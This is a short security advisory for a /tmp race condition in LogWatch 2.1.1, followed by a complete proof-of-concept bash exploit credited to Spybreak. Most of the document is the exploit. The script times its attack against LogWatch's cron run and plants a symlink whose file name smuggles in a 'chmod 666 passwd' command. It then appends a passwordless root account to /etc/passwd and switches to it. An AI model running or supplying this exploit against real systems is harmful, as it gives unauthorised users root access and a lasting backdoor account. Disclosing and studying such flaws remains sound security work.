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| LogWatch is a customizable, pluggable log-monitoring system. It will go through your logs for a given period and make a report in the areas that you wish with the detail that you wish. Easy to use - works right out of the package on almost all systems. This is like DailyScript, but much, much better... and designed for RHL5. A /tmp race condition in the product can be used by local attackers to gain root privileges. |
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Credit:
The information has been provided by Spybreak.
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Vulnerable systems:
LogWatch version 2.1.1
On a system running LogWatch, a local user is able to gain unauthorized root access, due to a race condition during the temporary directory creation.
Exploit:
cat > logwatch211.sh <<EOF
#!/bin/bash
#
# March 27 2002
#
# logwatch211.sh
#
# Proof of concept exploit code
# for LogWatch 2.1.1
# Waits for LogWatch to be run then gives root shell
# For educational purposes only
#
# (c) Spybreak <spybreak@host.sk>
SERVANT="00-logwatch" # Logwatch's cron entry
SCRIPTDIR=/etc/log.d/scripts/logfiles/samba/
echo
echo "LogWatch 2.1.1 root shell exploit"
echo '(c) Spybreak <spybreak@host.sk>'
echo
echo "Waiting for LogWatch to be executed"
while :; do
set `ps -o pid -C $SERVANT`
if [ -n "$2" ]; then
mkdir /tmp/logwatch.$2
ln -s $SCRIPTDIR'`cd etc;chmod 666 passwd #`' /tmp/logwatch.$2/cron
break;
fi
done
echo "Waiting for LogWatch to finish it's work"
while :; do
set `ps -o pid -C $SERVANT`
if [ -z "$2" ]; then
ls -l /etc/passwd|mail root
echo master::0:0:master:/root:/bin/bash >> /etc/passwd
break;
fi
done
su master
EOF
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